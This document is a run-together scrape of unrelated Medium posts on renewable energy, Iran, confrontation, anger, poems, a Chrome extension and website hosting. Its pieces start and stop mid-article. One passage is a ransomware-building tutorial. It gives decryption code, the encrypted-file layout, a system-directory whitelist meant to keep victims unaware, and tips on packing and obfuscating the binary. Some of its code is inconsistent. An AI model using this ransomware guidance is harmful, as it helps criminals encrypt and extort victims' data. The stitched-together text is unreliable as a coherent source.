Industry revenues will also suffer, because most utilities are voluntarily halting shutoffs due to bill nonpayment and deferring planned or proposed rate increases.
Economy-driven demand reductions, which are likely worldwide, will hurt new renewable installations. Utilities will tighten their budgets and defer building new plants. Companies that make solar cells, wind turbines and other green energy technologies will shelve their growth plans and adopt austerity measures. For example, Morgan Stanley’s highly respected clean tech analysts project declines of 48%, 28% and 17% in U.S. solar photovoltaic installations in the second, third and fourth quarters of 2020, respectively.
Clean energy has momentum
Countervailing factors will partly offset this decline, at least in wealthy countries. Many renewable plants are being installed for reasons other than demand growth, such as clean power targets in state laws and regulations, and are already under contract or construction.
Government policies and public pressure are also forcing utilities to retire coal-fired power plants. Since 2010, 102,000 megawatts of coal generating capacity have been retired — nearly one-third of the total U.S. coal fleet — and at least 17,000 megawatts more are expected to retire by 2025. Most of this will likely be replaced by wind, solar and hydropower.
U.S. electricity generation is shifting toward lower-carbon fuels, including natural gas and renewables, and away from coal. EIA
Despite the current crisis, there is long-term pressure from many directions to add carbon-free energy. Fifty U.S. utilities have already committed to carbon reduction goals, including 21 companies that pledge to become carbon-free by 2050.
Voluntary green energy purchases by U.S. companies increased by almost 50% in the last year, to 9,300 megawatts — almost 1% of all U.S. power capacity. And residential customers are choosing to buy more renewable energy through options such as community solar programs.
Defaulting to dirty fuels?
Since early 2019 crude oil prices have collapsed, declining almost 64%. As oil market guru Daniel Yergin recently observed, this drop is likely to be steep and prolonged:
“[I]t’s a problem of an oil price war in the middle of a constricting market when the walls are closing in. Normally demand would solve the problem in a way, because you would have lower prices that act like a tax cut and it would be a stimulus. But not in this case because of the freezing up of economic activity.”
Oil companies are bracing for a prolonged period of low prices.
This oil price collapse has also reduced U.S. natural gas prices by about one-third from year-ago levels. Like electricity and oil, natural gas use rises and falls with economic activity; it is somewhat less sensitive to economic trends than the highly reactive oil sector, and more sensitive than comparatively stable electricity use.
Ordinarily, cheaper natural gas — which is widely used for generating electricity — would stimulate electricity demand by reducing the price of power, thus increasing economic growth. But in this unusual era, the effects of lower oil and gas prices on renewables will be somewhat murky and complex, and will probably differ substantially by market and region.
For some new plants in places where policies do not effectively mandate renewable energy, continued or even new use of oil and gas generation will look cheaper. For example, replacing dirty diesel generation with solar power plus some form of energy storage will not look nearly as attractive now as it did a year ago.
This is especially worrisome in emerging nations, where the overwhelming imperative is to expand electricity supply as cheaply as possible. These economies are always short on capital and highly sensitive to energy costs. If they opt for cheap fossil fuels instead of renewables, it will be bad for air quality and climate policy.
The fact that central banks are promoting ultra-low or even negative interest rates to respond to the economic crisis could mitigate this risk by making renewables, which have high capital costs, cheaper to install. The key is avoiding a wholesale shift to new fossil fuel generation.
Parts shortages
The most significant near-term impacts on renewable plants that are already contracted or under construction may be felt through supply chains. Renewable industry executives are anticipating delivery and construction slowdowns, either because nations shutter industries to slow the spread of coronavirus or because workers start getting sick.
Many parts for large-scale renewable projects come entirely or partially from China, other parts of Asia or the United States. These are specialized supply chains with few ready substitutes.
The COVID-19 outbreak has already slowed Chinese production of solar panels and materials, delaying projects in countries including India and Australia. Manufacturing disruptions in China could contribute to a significant one- or two-year dip in renewable additions.
All in all, I expect that a slowdown in renewable energy growth will be one of many deeply tragic effects of the virus-plus-contraction double whammy. Impacts in emerging markets, where a new fossil-fueled plant locks in decades of new carbon dioxide emissions, are especially concerning.
But these effects will not be uniformly negative, and nothing about this crisis will change the long-term trend toward carbon-free energy. Once the global economy bounces back, perhaps this episode will convince world leaders to accelerate climate policy efforts, before the next climate-induced disease vector or weather event triggers yet another global economic shock. | https://buexperts.medium.com/covid-19-will-slow-the-global-shift-to-renewable-energy-but-cant-stop-it-7926c823ccb9 | ['Bu Experts'] | 2020-03-31 18:18:06.202000+00:00 | ['Economics', 'China', 'Renewable Energy', 'United States', 'Energy'] |
What Do We Know About Iran? | Apparently the White House has photographs of fully assembled Iranian missiles on small boats, along with intercepted Iranian conversations threatening possible attacks on Navy ships and commercial shipping or American troops in Iraq by Arab militias with Iran ties, according to The New York Times.
The Washington Post says that Pentagonand intelligence officials said that there have been three distinct Iranian actions: Captured hints of an Iranian threat against U.S. diplomatic facilities in the Iraqi cities of Baghdad and Irbil; U.S. concerns that Iran may be preparing to mount missile launchers on small ships in the Persian Gulf; and a directive from the Ayatollah Ali Khamenei to the Islamic Revolutionary Guard Corps and that some U.S. officials have interpreted as a potential threat to U.S. military and diplomatic personnel.
NBC News quotes the British deputy commander in the global coalition against the Islamic State as contradicting the risk of an attack altogether, either by Iran or its milita partners, citing the same evidence. Other European allies are openly questioning the nature of the intelligence that the United States is picking up.
In other words, the only thing we can be sure of is that there is a wide gulf in how to interpret whatever signs are being picked up from Iranian communications. Indeed, just how alarmed the Trump administration should be over the new intelligence is a subject of fierce debate among the White House, the Pentagon, the C.I.A. and America’s allies, The Times concluded.
The uncertainty is reminiscent of the build-up to the war in Iraq when weapons of mass destruction did not appear, as intelligence had said. In this case, there is open question of whether the Iranians are loading their small boats as an offensive move or in reaction to American declaration of Iranian troops as terrorists last week.
For a guy who talks a lot about keeping the country safe (from refugees feeling violence), Trump is testing our collective security on every continent with problems in South America, Asia, Europe and the Middle East, almost all at once.
On Wednesday, the State Department ordered nonessential personnel to leave the U.S. missions in Baghdad and Irbil. The Times reported that the Pentagon was coming up with plans for deployment of up to 120,000 U.S. troops to Iran — in the event that there is a provocation from Iran or its agents.
Meanwhile, Donald Trump denies both that there is such a plan — while saying that he would happily support one if there is a major provocation — and also denies that there is confusion or discord in his administration, as being widely reported in the news media. The discord pits the militarism favored by National Security Advisor John Bolton, with support from Secretary of State Mike Pompeo, on the one side, and Pentagon brass on the other, warning of the dangers of a war with Iran.
The Post said that Trump is frustrated with some of his top advisers, who he thinks could rush the United States into a military confrontation with Iran and shatter his long-standing pledge to withdraw from costly foreign wars, according to several U.S. officials. Trump told acting Defense Secretary Patrick Shanahan that he does not want a war now with Iran, and wants to speak directly with Iran’s leaders.
Iranian leaders say ambiguously that they are showing “maximum restraint.”
Making it worse is that congressional leaders from both parties say that they are in the dark about the nature and source of the evidence being cited, though there was some limited sharing of information yesterday. Democrats, in particular, are saying that they want consultation from the White House to support any call for war or military action.
For the rest of us, the idea that we have a government that either has no policy directions other than “America First,” that we have leaders that apparently are in serious disagreement, that the president is being led by his three-year-old campaign promises, and that we can’t even agree on what we are looking at, is, well, pretty troubling.
The Post report said tnat Trump is not inclined to respond forcefully unless there is a “big move” from the Iranians, according to an unnamed senior White House official, but would be willing to respond forcefully if there are American deaths or a dramatic escalation, the official said.
As a citizen, I’d like to think there would be a wider consensus on such evidentiary questions, including with Congress, including with allies who would be needed, than to depend solely on the presidential gut.
News reports meanwhile suggest that Trump complains increasingly about Bolton’s aggressiveness. That has seemed the case in recent examination of U.S. statements and actions in Venezuela and North Korea.
Obviously, we should all be worried that all this saber-rattling can lead to errors on the ground where chances of misinterpretation or miscalculation seems the greatest, particularly since Iran depends on proxy militias outside its direct command.
There were sabotage attacks on Saudi oil tankers this week, for example. Was that Iranian-ordered? Were they rogue acts by militia groups?
The United States has ordered an aircraft carrier flotilla to the Persian Gulf, within range of Iranian missiles.
It seems to me there ought to be a priority about figuring out the right questions and interpretations of available evidence by Americans and our allies. | https://medium.com/spec/what-do-we-know-about-iran-56f5cfb15dc7 | ['Terry Schwadron'] | 2019-05-17 12:06:03.824000+00:00 | ['Middle East', 'Government', 'Trump Administration', 'Trump', 'News'] |
you. | Will I romanticize now like I romanticize then?
Will I forget the sleepless nights like I forget how you were embarrassed by me?
Are we fading, are we dying, are we tired from all the crying?
Remember car drives, remember high nights, remember sleeping by the crescent moonlight?
Did we stop dreaming because we followed scripts, completed scripts? No one ever tells you what happens after happy endings.
But yet we’re human, we’re only human, failing humans, you’re still my human.
I’m scared that time is slipping, my skin is itching. Are we scrolling through unhealthy patterns?
Or am I romanticizing — the past plays cruel reminders — or am I dreaming and simply forgetting?
I’ll stay beside you, watch the waves roll, fall asleep to our hearts beating. | https://medium.com/@kimkimberlin/you-91a0f92ea731 | ['Kim Kimberlin'] | 2020-12-19 04:10:23.721000+00:00 | ['Prose', 'Messy Essays', 'Poetry'] |
An “Era” of Magic | An “Era” of Magic
An Ode to my Niece Era, and her parents.
Photo taken by Her Father, Dr. Abhimanyu.
Wide eyes like buttons,
Enrapturing the folks;
Twinkling with innocent strokes
Of mischief and zest.
Her toothless grin peeking,
Through clouds of fluffy cheeks,
Animating her face; her radiance —
Like golden sun streaks.
Gurgles of laughter
At being tickled by Daddy;
Tears and whimsies
to be the center of his Universe;
Early morning long drives,
or virtual rides in the stroller,
Guffawing the whole time;
But her favorite seat
Being Daddy's back;
Alternate rounds
of falling, climbing,
never tiring her ever!
Curiosity, her sparkle;
Little brain full of why’s,
Observing and absorbing
Every teeny tiny detail!
Living up to her name,
Her childhood
an Era of magic,
an enchantment
of her parents' world;
that no wand could ever create! | https://medium.com/illumination/an-era-of-magic-a087cf843281 | ['Saloni Joshi'] | 2020-07-01 15:48:15.321000+00:00 | ['Poetry', 'Relationships', 'Childhood', 'Writing'] |
How to Master the Art of Confrontation and Completely Resolve Any Issue | How to Master the Art of Confrontation and Completely Resolve Any Issue
This will completely upgrade your mindset
“All confidence is acquired, developed. No one is born with confidence. Those people you know who radiate confidence, who have conquered worry, have acquired their confidence, every bit of it.” -Dr. David Schwartz
I’ve only even known one person who seemed to be 100% relaxed with confrontation.
His name was Beau, and he was a mentor of mine in college. He was very type-A, a dominant and intimidating character. He seemed inexplicably sure of himself. He never had a problem with straightforward confrontation.
I envied him tremendously. I was terrified of confrontation (especially if it was with him, geez). My adrenaline surged just thinking about having a hard conversation. My whole life, my response to something I didn’t like was passive acceptance. Frankly, it was pathetic. I felt spineless, like a doormat everyone walked on.
Mastering confrontation is difficult, no doubt about it. Some of the most successful, powerful, and imposing individuals have a hard time with it. You may have met one or two people in your life who seem wired for it, but they’re not the norm. The other 99% of us usually have a really hard time expressing how we feel in a straightforward and frank manner that resolves conflict.
Sadly, most people are living completely confrontation-less lives. They don’t speak up when they should. They don’t put stand up for themselves because it’s simply too scary, too intimidating. The result? They’re unhappy, with failing relationships. Anxiety and stress have become chronic.
Confrontation is cunning, baffling, and powerful. You may think you’re terrible at facilitating confrontation, but I’m going to teach you how to not only master the art of confrontation, but use it to your advantage and resolve any issue: be it with your spouse, your boss, your children, or your best friend.
If you’re ready to learn this art, then keep reading.
Remember — Most People Act Out of Fear and Pain-Avoidance
“It’s human nature to quit when it hurts.” -Seth Godin
Your first step towards mastering the art of confrontation is to understand the default stance of most people — fear-and-pain avoidance.
Seth Godin is perhaps the most prolific marketing guru I’ve ever seen. His understanding of people and how they react to different scenarios is not just mastery, it’s wizardry. When describing people’s default reactions, Godin once wrote:
“Short-term pain has more impact on most people than long-term benefits do.”
The truth is, most people are focused on avoiding short-term pain than they are achieving long-term success.
Even if it only took one serious, blunt confrontation with someone to dramatically improve their life, most people still wouldn’t do it. As a result, most people are living lives that are, frankly, mediocre and average-at-best.
This described me perfectly. Growing up, I desperately wanted to connect with my dad, but never could. I felt he wanted me to be something I wasn’t so that we could relate more — to be wild and crazy just like he was as a teenager, and to be an engineer like he was.
That just wasn’t me, though. I never told him how I felt; the thought of confronting him about his desires was terrifying. So I’d fake it, hating myself all the while. Talking to him would’ve changed our whole dynamic, but I was completely focused on pain-avoidance and not long-term success.
It took me years to finally get the guts to call him and say, “You know what dad, that’s just not me. I’ve never going to be that guy.” Sure, it was awkward. And emotionally exhausting. I had been in pain for years pretending to be what I thought he wanted. But after I confronted him, it felt like a huge weight was lifted off my shoulders. I felt light and confident and actually happy.
Think about your life right now. | https://medium.com/the-mission/how-to-master-the-art-of-confrontation-and-completely-resolve-any-issue-9fdca7ffcde5 | ['Anthony Moore'] | 2019-01-31 22:53:32.303000+00:00 | ['Relationships', 'Belief', 'Self Improvement', 'Mindset', 'Confidence'] |
No tengo energía. Lo siento. Pero, tengo una idea. | Mom working on writing, Spanish and growing. Impromptu family dance parties make me happy. | https://medium.com/@impromptudancing/no-tengo-energ%C3%ADa-lo-siento-pero-tengo-una-idea-f9004fe06901 | ['Impromptu Dancing'] | 2020-10-15 23:00:59.900000+00:00 | ['Writing', 'Self Improvement', 'Español', 'Life', 'Productivity'] |
Is that a Spotify icon in YouTube? | The short answer is “Yes!” It’s called Paradify(YouTube to Spotify).
The long answer is that It’s a Chrome extension. The idea behind of it is pretty simple. You listen a song or watch video clip on YouTube, you like it, you desire to add it in your Spotify playlist in one click.
How does it work?
Once you installed Paradify, open a video clip on YouTube.
You will see a Spotify icon inside the YouTube player.
Click on the icon and it will be added to your Spotify playlist immediately.
That’s it!
Chrome Extension link to download
Paradify Home Page
Github Open Source Project
(Video) — How to use Paradify | https://medium.com/@volkanakinpasa/is-that-a-spotify-icon-in-youtube-1a2846bda0ee | ['Volkan Akın Pasa'] | 2021-02-15 14:00:32.561000+00:00 | ['Chrome Extension', 'YouTube', 'Spotify'] |
10 Habits of Deeply Angry People | One of my coworkers is the second angriest person I’ve ever known. He once threatened to burn down his boss’s house. Then he blamed his boss for reporting him to the police.
My coworker said, “I was just kidding.”
Angry people are never just kidding, especially when they say they are. An angry person doesn’t know how to tell a joke. They mislabel threats and insults in a pathetic attempt to hide their cruelty.
My mom wins gold in the anger games. She drove everyone away — even her own children. We didn’t speak to her for years. She died alone in the only care facility in the state that would admit her. Even before she was mentally ill, she was a deeply angry person.
The anatomy of angry people
There’s a difference between being angry and being an angry person. Everyone feels anger. It’s healthy to express your anger, as long as you do it with a little self-awareness.
A mature person says, “I’m frustrated because of X.” They say, “I’m angry at you because of Y.”
An angry person doesn’t do this. Angry people lose their tempers, but never actually talk about what’s bothering them — and they never deal with it. So their anger just builds on itself.
Angry people make themselves angry, even when there’s no reason. They secretly like being angry. Their anger at other people and things distracts them from their own problems. But their own problems are what’s causing their anger. They swirl in a vortex of their own design.
Don’t do what angry people do
Raw, unprocessed anger poisons your logic and creativity. It hurts your relationships and even your physical health. It will keep you from accomplishing anything.
Like many smart people have said before, one of the best ways to get better at anything is simple. Identify bad habits, and put a check on them. It won’t solve everything. But it does a lot.
Here’s what angry people do:
1. They have imaginary arguments in their heads.
We’re all guilty of this to some extent. We predict someone will behave a certain way, and start revving up for a confrontation. We think through what they’ll say, and how we’ll respond.
We prime ourselves for some kind of showdown, complete with hurtful little mic drops before we walk off.
This is some truly insidious, unproductive behavior. You’ve built up pointless animosity toward someone you care about. The worst part is that nothing has even happened yet, and you’re already angry at them.
This is why angry people blow up for no apparent reason. The rest of us try to avoid these imaginary arguments. They don’t make you feel good. They accomplish nothing. Angry people live in this state. They’re always preparing for their next argument.
The takeaway: Don’t turn an imaginary argument into a real one. Ask yourself why you’re making someone else the bad guy. Realize that you’re really just arguing with yourself, and putting a different face on emotions you don’t want to own.
2. They go from zero to sixty with no warning.
Anger exists on a spectrum, just like any emotion. There’s slight irritation on the low end, frustration in the middle, and fury at the top. We can feel exasperation and scorn, too.
Part of becoming a mature person is developing a vocabulary for all your emotions, and a range of appropriate responses. You could also think about it like a toolbox with lots of tools.
Deeply angry people don’t have a wide vocabulary for their emotions. They don’t have a wide tool box.
They try to solve every problem with a hammer at 60 mph. It works in the short term. When you blow up at someone, you tend to get your way. This is what my coworker does. He bullies everyone into submission. He pitches fits and storms out of offices.
This kind of behavior catches up with them. Over time, nobody wants to work with them anymore. Nobody invites them over for dinner. They wind up becoming human hot potatoes.
The takeaway: Find a more specific word than “angry” to describe what you’re feeling. Unleash your temper in private if you have to. Wait until you’ve calmed down before confronting someone.
3. They cling to grudges.
Mature people don’t always have to forgive and forget. You don’t have to be friends with someone who screwed you over. You don’t have to like your boss, or even respect them. You can be blunt about who you want in your life, and who you don’t. That’s not the same as holding a grudge.
Angry people hold lots of grudges. They tell the same stories over and over about some handful of wrongs done to them. They seek payback. They try to turn everyone against their own personal nemesis.
They keep their grudges hot by reliving all of their bad experiences. This prevents them from moving on.
Deep down, angry people don’t want a resolution to their grudge. They don’t even want an apology. They want to annihilate everyone who mistreated them, which is impossible. Destroying someone only happens in novels and movies. In real life, revenge plots usually land you in jail. Deeply angry people know that on some level, so they settle for a smoldering resentment that hurts them more than anyone else.
The takeaway: Remove problem people from your life, then you won’t need grudges. When you remember what they did, be glad you don’t have to deal with them anymore.
4. They judge everyone around them.
Everyone knows how easy it is to judge someone else. It elevates you, however briefly, and gives you an illusion of control. We all judge each other at times. Mature people know how pointless it is. It’s not that they never judge anyone. They just catch themselves. They compensate. They try to give people a second or third chance.
Most importantly, mature people want to be wrong.
They like to admit when they’ve misjudged someone. They like it when someone proves themselves smarter or more capable than previously thought. And they’re okay feeling silly about it.
Angry people judge everyone all the time.
They like making the worst assumptions about anyone who’s doing better than them. They love to supply malicious motives, because it excuses their own awful mindsets and behaviors. They don’t have to try so hard, if everyone’s just as bad as they are. Judgement leads to gossip. Angry people love gossip, except when it’s about them.
The takeaway: You don’t have to judge someone if you know for a fact that they’re this side of a criminal. Let life judge them. Meanwhile, leave them alone. Don’t talk about them simply to make yourself feel better, or for some perverse form of entertainment.
5. They willfully misinterpret everything.
Sometimes you just don’t have anything to get that angry about. Mature people love peace and quiet. Angry people don’t. When everything’s going fine, they need to start something.
Misunderstanding someone is the easiest way to start a conflict. Half the world’s drama comes from poor communication.
Angry people go out of their way to bend words around until they show no resemblance to their original meaning or intent. They spend their time looking for threats and insults.
They love being offended.
Being offended justifies the senseless, shapeless anger already inside an angry person, and gives them an outlet for it. In an ironic twist: they turn around and tell everyone else not to be so easily offended.
The takeaway: There’s more than enough misunderstanding and poor communication in the world. Don’t add to it by accusing people of saying and doing things they clearly didn’t.
6. They go out of their way to be jerks.
Angry people crave conflict to distract themselves from the problems in their lives, ones they could fix if they were just a little nicer. Instead they cut people off in traffic, throw fast food wrappers everywhere, and create unnecessary problems at checkout lines.
Angry people talk in movie theaters.
These people are unconsciously punishing the world for their own misery. They want someone to ask them to be quiet, so they can act offended and then start an argument. They want to get thrown out by the manager so they can complain about how unfair they were treated. Then they want to call the movie theater every day demanding a refund.
The other day, I read a story online about a woman who accosted someone at Target. The woman demanded help finding something. He wasn’t even wearing a red shirt, but she kept insisting he worked there. That’s not just entitlement. That’s deep, unmanaged anger.
The takeaway: Anyone who treats a stranger like crap has a lot of anger issues. Don’t take it personally.
7. They blame everyone else for their smallest problems.
Mature people don’t make a huge deal out of not getting their way. They don’t go around looking for enemies to explain every single imperfection in their lives. They know that the world is imperfect by design.
Angry people need everything just so, partly because they know nothing can ever be perfect. It’s a great cause to get behind.
They never run out of flaws to point out. These faults are always someone else’s doing, and they always completely explain why they’re unhappy. Even when they do have to finally admit a mistake, they find a way to make it 40 percent someone else’s fault.
Mature people seek out causes and explanations, including ones they’re responsible for. Angry people look for excuses. They also put small problems under magnifying glasses.
The takeaway: Let other people’s little mistakes go. You make them too, all the time. If you think you’re perfect, that’s just because everyone else gives you a break when you screw up.
8. They make empty threats.
A threat is a serious thing. When a mature person makes a threat, they actually don’t want to follow through on it. But they will. That’s why they don’t make threats very often.
Angry people make threats all the time.
As a result, their threats are meaningless. Nobody takes them seriously. This in turn makes them angry, and they make more threats.
One of the biggest threats angry people make is to quit. It’s actually the threat they’re least capable of delivering on. Nobody wants to hire an angry person who quit their last job out of spite.
It’s actually funny to watch sometimes — until they start upping the ante on their threats. This is how they wind up threatening to burn down someone’s house, even if they know they never will.
The takeaway: You’re better off never making threats. Making threats is addictive, and every one you make means less.
9. They ignore the beauty in the world.
Even on your worst days, you can still probably go for a walk — or just sit outside for a while. You can look at photo.
You can watch some porn.
It’s actually hard to stay angry for very long. Staying angry is hard. You have to keep thinking about unpleasant things.
You have to not want to do anything else but fume and complain.
Meanwhile, beauty diffuses anger. This is probably why the angriest people don’t appreciate art, music, literature, or movies without explosions. These are natural antidotes to anger. They won’t always solve your problems, but they’ll always help a little.
The takeaway: If you’re furious, seek beauty now. Make art. Deal with the thing that upset you later.
10. They seek out conflict and discomfort.
Mature people will remove themselves from unpleasant or stressful situations if they can. They take earbuds to the gym so they don’t have to listen to that guy who talks on the phone while cycling. Angry people want discomfort. It’s the same reason they do everything else on this list.
The takeaway: Don’t complain about something you can change, through direct or indirect action.
Managing anger isn’t about repressing it
Mismanaged anger is the biggest obstacle to anyone’s success or happiness, however you define the two.
It strangles all the good ideas out of you.
Even jealousy and envy are just mismanaged forms of anger toward someone who’s doing better than you.
Anger isn’t a bad thing if you know how to use it. First you have to see your anger, and identify the source. Anger doesn’t make you powerful. But dealing with your anger does. Replacing counterproductive outlets for anger with productive ones is a good place to start. | https://psiloveyou.xyz/10-habits-of-deeply-angry-people-65ec9a7c6b6b | ['Jessica Wildfire'] | 2020-04-20 06:35:57.704000+00:00 | ['Mindfulness', 'Stress', 'Relationships', 'Self', 'Jessica Wildfire'] |
Architecture of a ransomware (2/2) | Note how we didn’t need to copy the full file, we just used the seek() method over the file object to navigate the bytes and make the process as quick as possible. This will also be used in the decryption function.
Also note that since we’re writing both the AES IV and the encrypted key in the encrypted file, we don’t need any kind of txt file with a track of each encrypted file. The victim can just send us any file, and as long as we have the private key used for that specific binary, we’ll be able to decrypt it.
SymDecryptFile
This will be the main decryption function. This is how it’ll work:
Call the function with a privateKey and a file path as a parameter
def symDecryptFile(privateKey, file):
2. Define an decryption size (n bytes) for the file (equal to the one used in the encryption). In our example we used 1MB.
buffer_size = 1048576
3. Verify that the file is encrypted (with its extension).
if file.endswith("." + cryptoName):
out_filename = file[:-(len(cryptoName) + 1)]
print("Decrypting file: " + file)
else:
print('File is not encrypted')
return
4. Open the file and read the AES IV (the last 16 bytes).
input_file = open(file, 'r+b') # Read in the iv
input_file.seek(-16, os.SEEK_END)
iv = input_file.read(16)
5. Read the encrypted decryption key. This will be
# we move the pointer to 274 bytes before the end of file
# (258 bytes of the encryption key + 16 of the AES IV)
input_file.seek(-274, os.SEEK_END)
# And we read the 258 bytes of the key
secret = input_file.read(258)
6. Decrypt the encrypted key with the provided private key
key = rsaDecryptSecret(cert, secret)
7. Decrypt the aes-encrypted buffer size we defined before, and write it to the beginning of the file
# Create the cipher object
cipher_encrypt = AES.new(privateKey, AES.MODE_CFB, iv=iv)
# Read the encrypted header
input_file.seek(0)
buffer = input_file.read(buffer_size)
# Decrypt the header with the key
decrypted_bytes = cipher_encrypt.decrypt(buffer)
# Write the decrypted text on the same file
input_file.seek(0)
input_file.write(decrypted_bytes)
8. Delete the iv + encryption key from the end of the file and rename it.
# Delete the last 274 bytes from the IV + key.
input_file.seek(-274, os.SEEK_END)
input_file.truncate()
input_file.close()
# Rename the file to delete the encrypted extension
os.rename(file, out_filename)
Final Considerations
Having all these functions, you can create a single binary that lets you either encrypt or decrypt your folder of choice. If you correctly coded the symEncryptDirectory / symDecryptDirectory functions, you can just pick either the encryption or the decryption of a parameter folder/file and just pass a .pem file. You would have something similar to this on the binary before the main call.
parser = argparse.ArgumentParser() parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True) parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)
parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)
Aside from the obvious error validation missing (check if the “encrypt” action has a public key passed as a parameter, the “decrypt” has a private one, etc…), you’ll have to define a “whitelist” of files/folders for each operating system. You’ll need to do this in order to leave the computer “usable” but encrypted. If you just start encrypting every file on sight you’ll probably:
1. Make the computer unusable for the user, who’ll realize somethings wrong
2. After encrypting everything, the system won’t boot and the user won’t know that he’s been hit by ransomware.
Just to give you an example, in Linux the whitelist would be something similar to this:
whitelist = ["/etc/ssh", "/etc/pam.d", "/etc/security/", "/boot", "/run", "/usr", "/snap", "/var", "/sys", "/proc", "/dev", "/bin", "/sbin", "/lib", "passwd", "shadow", "known_hosts", "sshd_config", "/home/sec/.viminfo", '/etc/crontab', "/etc/default/locale", "/etc/environment"]
You’ll probably want to pack the .py script with all of its dependencies and bundle it into a single executable. I’m not going to show a step by step, but you can look into pyarmor and pyinstaller. Also, depending on the type of obfuscation you want to use (and the type of binary), Nuitka can be of great help.
Other flavours of ransomware (MBR encryption)
There’s another flavour of ransomware that we didn’t touch, and those are the ones that infect the Master Boot Record of your drive. This, in turn, allows it to run a payload which will encrypt the filesystem’s NTFS file tables, which will render the disk unusable. This approach is very quick since the malware only needs to encrypt a small portion of data. The Petya ransomware is an excellent example of this design. It has three main disadvantages:
the first is that even when the OS is left unbootable, you can still recover your files with forensic analysis. They are not deleted, they are just de-referenced in the file table. Even if the malware starts an encryption routine for the raw data after rebooting the computer, if the victim just shuts down the computer and takes the disk out, the files should be recoverable with some forensic analisis.
The second disadvantage is that most modern OS don’t use MBR anymore since they’ve migrated to GPT (GUID Partition Table).
The third disadvantage is that it is heavily filesystem dependent, and that it would need to be modified to contemplate other filesystem types which do not behave like NTFS (think EXT3/EXT4, ZFS and so).
This approach requires a lot more low-level technical concepts and I didn’t want to extend this post that much. Also, this methodology is not the most frequently used, and my main intent writing this article was to make readers better understand “common” ransomware.
Conclusion / General Advice
Aside from the obvious frequent recommendations that you should be aware of (don’t open attachments from unknown sources, keep your infrastructure updated, run anti-malware software, etc…), the main prevention technique I can recommend is backup, backup and backup… You will hear a lot of advice on how to prevent an attack, but in my opinion, the best is to always assume that you’ll eventually get infected and have an offline backup of your data.
Even if you’re 100% trained to recognize malicious vectors, one of your organization’s users might not be, and that’s all it takes to encrypt all the mapped shared drives.
Lastly, one thing that I haven’t seen anybody recommend: if you got infected, and the encrypted files don’t need to be recovered right away (family pictures, videos, etc…), try to keep a copy of the encrypted files. Sometimes the malware developers either retire (Shade, TeslaCrypt, HildaCrypt), or get arrested (CoinVault), or even publish the key of its competitors (Petya vs Chimera) and in all these situations the decryption keys might get published. You might get lucky and end up recovering your files a couple of months later.
Retirement letter from the Shade creators.
Retirement letter from the TeslaCrypt creators.
HildaCrypt published keys.
That’s all for this post. I hope it was helpful, and that you now have better tools to respond to your next ransomware encounter! | https://medium.com/bugbountywriteup/architecture-of-a-ransomware-2-2-e22d8eb11cee | ['Security Shenanigans'] | 2020-11-28 20:29:48.287000+00:00 | ['Security', 'Pentesting', 'DevOps', 'Ransomware', 'Infosec'] |
Welcome Ike!. Two and a half years ago, JZ and I met… | Two and a half years ago, JZ and I met with Ike’s co-founders Nancy, Alden, and Jur to discuss our shared vision around realizing the potential of self-driving technology in years rather than decades. There was an instant connection around first moving goods rather than people and the importance of investing in culture and building the right team. It was this connection that led us to do something rather unusual in the AV industry: we licensed our SW stack in exchange for an equity stake in Ike.
We have maintained a close relationship ever since — sharing a slack channel and serving as advisors to one another. This relationship has grown into a shared affinity between our teams that goes beyond technology and ownership. In fact, my personal connection with Jur dates back over 15 years to when we were PhD students writing research papers together. This bond is what makes today’s news that Nuro is acquiring Ike so exciting for all of us at Nuro.
Having Ike join us in accelerating our progress is a truly special moment that feels a bit like a homecoming. When Ike first started, they did so inside our office. We shared a common space and a common goal, with lots of excitement and too few conference rooms.
Ever since then, we have watched as Ike developed not just one of the most rigorous safety-first and systems-based approaches to self-driving development, but also a team that is widely regarded as one of the brightest in our field. The combination of the two, along with the ability to readily integrate some of their core technology (like their world-class virtual simulation tool), is what made the opportunity to have them join us a natural fit.
We look forward to all we’ll be able to accomplish together, knowing that our horizon of possible applications has been expanded with the addition of the Ike team and their expertise. And we are thrilled to have them join us in our collective mission.
To the Ike team: we are humbled that you have chosen to be a part of Nuro. Having you join us as colleagues will not only improve our technical and commercial progress, it will enrich our culture and make us all the better for it. JZ and I have consistently told our team that the thing we are the most proud of building these past 4 years is our team of passionate people. This sense of pride is being reaffirmed today.
Welcome aboard Ike! | https://medium.com/@dave.ian.ferguson/nuro-draft-2-648450ff1463 | ['Dave Ferguson'] | 2020-12-23 17:16:38.123000+00:00 | ['Autonomous Cars', 'Self Driving'] |
Everything you need to know about how websites work? | Before you throw in a lot of effort creating a website just wait?. Do you know how websites work? If there’s no, don’t worry I have compiled a Detailed Guide for you.
If you are already familiar with this, then go and create a website with our detailed guide on, how to build a perfect site.
Basic terms:
A website is a collection of text, graphics/images and it’s up to you how you represent that. Everything has a name like that, your website should have a name, called domain. A web-server to give a home to your website.
So, let’s get started with a brief discussion.
Content:
1-What is a domain?
A detailed Guide on this topic with examples for complete beginners.
2-What is a web-server?
A detailed Guide on this topic with some examples for complete beginners ( some pro-tips) and great hosting companies
What is the domain?
Suppose, you have a shop named “John’s shop” that sells appliances. Just like that in the internet world, we refer to that shop name as the domain. Pretty simple, eh?.
So, to buy that name/domain for your shop/website there are plenty of domain registrars that you can choose from.
Now, suppose you are trying to name your shop “John’s shop“. And someone else has already done that. In that case, you have to buy that name from an existing owner or choose something else.
Domain registrars have a domain name checker that will tell you your domain availability.
Now comes extension, which extension is best? and what it is?.
Have you ever saw a domain like facebook.com or youtube.com yep, you did ;). In these domains “.com” is an extension.
You can even choose “.org” or “.co“. But I recommend you to stick with .com. Now “.com” vs “.org“? it doesn’t matter.
Go to Google, and find some great domain registrars.
Here’s a list of great domain registrars.
1-Godaddy
One of the world’s biggest domain registrars. Offering you 80% off by using this link, here.
2-Dream-host:
They are hosting providers, but I found them offering great deals, for the domain so I mentioned them too. Use this link to avail this discount.
3-Dynadot:
They are one of the cheapest domain providers. And by using this link you will get even more awesome deals.
Now, let’s talk about Web-servers.
What are web-servers?
Do you remember John’s shop I mentioned in the domain’s section?.
So now John has a name/domain registered for his shop/website. That wasn’t the problem, the main concern is, where should he build his shop?.
If he wants to compete with his competitors, he should choose a better place, maybe not extremely expensive but it should work pretty fine.
Just like that, you registered a domain name for what?. To make a website to do that, you must choose a better place now. On the internet, we call this (place) web-server.
Pro-tip: Never buy a bad hosting service.
You are here, it means you are a complete beginner who wants a perfect detailed guide. I don’t want you to repeat the mistakes I did, when I just started.
